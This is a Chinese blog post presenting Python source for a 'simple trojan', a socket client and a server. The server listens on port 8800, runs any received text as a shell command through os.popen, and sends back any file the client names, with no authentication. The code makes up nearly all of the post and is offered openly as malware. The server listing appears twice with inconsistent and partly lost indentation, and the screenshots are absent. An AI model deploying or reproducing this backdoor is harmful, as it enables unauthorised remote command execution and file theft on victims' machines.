zoukankan      html  css  js  c++  java
  • python实现一个简单木马!

    一个简单的木马程序

    绝大多数的木马程序都是基于Socket来实现的

    废话少说直接上代码!

    代码:

    client部分:

    # -*- coding: UTF-8 -*-

    import socket
    import sys
    import re
    import os


    class Client:
    def __init__(self, serverIp, serverPort):
    self.serverIp = serverIp # 待连接的远程主机的域名
    self.serverPort = serverPort
    self.bufferSize = 10240

    def connet(self): # 连接方法
    try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    except socket.error as e:
    print("Failed to create socket. Error: %s" % e)

    try:
    s.connect((self.serverIp, self.serverPort))
    while True:
    message = input('> ') # 接收用户输入
    if not message:
    break
    s.send(bytes(message, 'utf-8')) # 发送命令
    data = s.recv(self.bufferSize) # 接收数据
    if not data:
    break
    if re.search("^0001", data.decode('utf-8', 'ignore')): # 判断数据类型
    print(data.decode('utf-8')[4:])
    else: # 文件内容处理
    s.send("File size received".encode()) # 通知服务端可以发送文件了
    file_total_size = int(data.decode()) # 总大小
    received_size = 0
    f = open("new" + os.path.split(message)[-1], "wb") # 创建文件
    while received_size < file_total_size:
    data = s.recv(self.bufferSize)
    f.write(data) # 写文件
    received_size += len(data) # 累加接收长度
    print("已接收:", received_size)
    f.close() # 关闭文件
    print("receive done", file_total_size, " ", received_size)
    except socket.error:
    s.close()
    raise # 退出进程
    finally:
    s.close()


    if __name__ == '__main__':
    cl = Client('127.0.0.1', 8800)
    cl.connet()
    sys.exit() # 退出进程

     

    server部分:

    # -*- coding: UTF-8 -*-

    import socket
    import sys
    import os


    class server:
        def __init__(self, ip, port):
            self.port = port
            self.ip = ip
            self.bufferSize = 10240

        def start(self):  # 启动监听,接收数据
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            try:
                s.bind((self.ip, self.port))  # 绑定
                s.listen(10)  # 监听
                print('等待客户端连接')
                while True:  # 一直等待新的连接
                    try:
                        conn, addr = s.accept()  # 接收连接
                        print('客户端连接 ' + addr[0] + ':' + str(addr[1]))
                        while True:  # 保持长连接
                            data = conn.recv(self.bufferSize)#接收数据
                            if not data:#断开连接时退出当前循环
                                break
                            else:
                                self.executeCommand(conn,data)
                        conn.close()#关闭当前连接
                    except socket.error as e:
                        print(e)
                        conn.close()  # 关闭连接
            finally:
                s.close()  # 关闭服务端

        def executeCommand(self, tcpCliSock, data):  # 解析并执行命令
            try:#
                 message = data.decode("utf-8")
                 if os.path.isfile(message):#判断是否是文件
                    filesize = str(os.path.getsize(message))#获取文件大小
                    print("文件大小为:",filesize)
                    tcpCliSock.send(filesize.encode())#发送文件大小
                    data = tcpCliSock.recv(self.bufferSize)
                    print("开始发送")
                    f = open(message, "rb")#打开文件
                    for line in f:
                        tcpCliSock.send(line)#发送文件内容
            except:
                raise


    if __name__ == '__main__':
        s = server('', 8800)
        s.start()
    # -*- coding: UTF-8 -*-

    import socket
    import sys
    import os


    class server:
    def __init__(self, ip, port):
    self.port = port
    self.ip = ip
    self.bufferSize = 10240

    def start(self): # 启动监听,接收数据
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
    s.bind((self.ip, self.port)) # 绑定
    s.listen(10) # 监听
    print('等待客户端连接')
    while True: # 一直等待新的连接
    try:
    conn, addr = s.accept() # 接收连接
    print('客户端连接 ' + addr[0] + ':' + str(addr[1]))
    while True: # 不知道客户端发送数据大小,循环接收
    data = conn.recv(self.bufferSize)
    if not data:
    break
    else:
    self.executeCommand(conn,data)
    conn.close()
    except socket.error as e:
    print(e)
    conn.close() # 关闭连接
    finally:
    s.close() # 关闭服务端

    def executeCommand(self, tcpCliSock, data): # 解析并执行命令
    try:#
    message = data.decode("utf-8")
    if os.path.isfile(message):#判断是否是文件
    filesize = str(os.path.getsize(message))#获取文件大小
    print("文件大小为:",filesize)
    tcpCliSock.send(filesize.encode())#发送文件大小
    data = tcpCliSock.recv(self.bufferSize)
    print("开始发送")
    f = open(message, "rb")#打开文件
    for line in f:
    tcpCliSock.send(line)#发送文件内容
    else:
    tcpCliSock.send(('0001'+os.popen(message).read()).encode('utf-8'))
    except:
    raise



    if __name__ == '__main__':
    s = server('', 8800)
    s.start()
     

    执行效果:



    提醒一下,以上是linux下的方式

    如果使用的是windows得解释器:

    命令如下

     其余同上!

    梦的远方,温暖为向,所到之处,遍地阳光!
  • 相关阅读:
    FTP命令行工具NCFTP
    XP 通过无线网卡 建立对等网
    Silverlight WCF 压缩
    EntityFramework Linq查询
    UCS2编码转换C#
    C#7Z压缩
    c#公钥加密私钥解密和验证
    SVN global ignore pattern for c#
    典型的DIV CSS三行二列居中高度自适应布局
    VC#窗体的大小设置
  • 原文地址:https://www.cnblogs.com/blamwq/p/11712653.html
Copyright © 2011-2022 走看看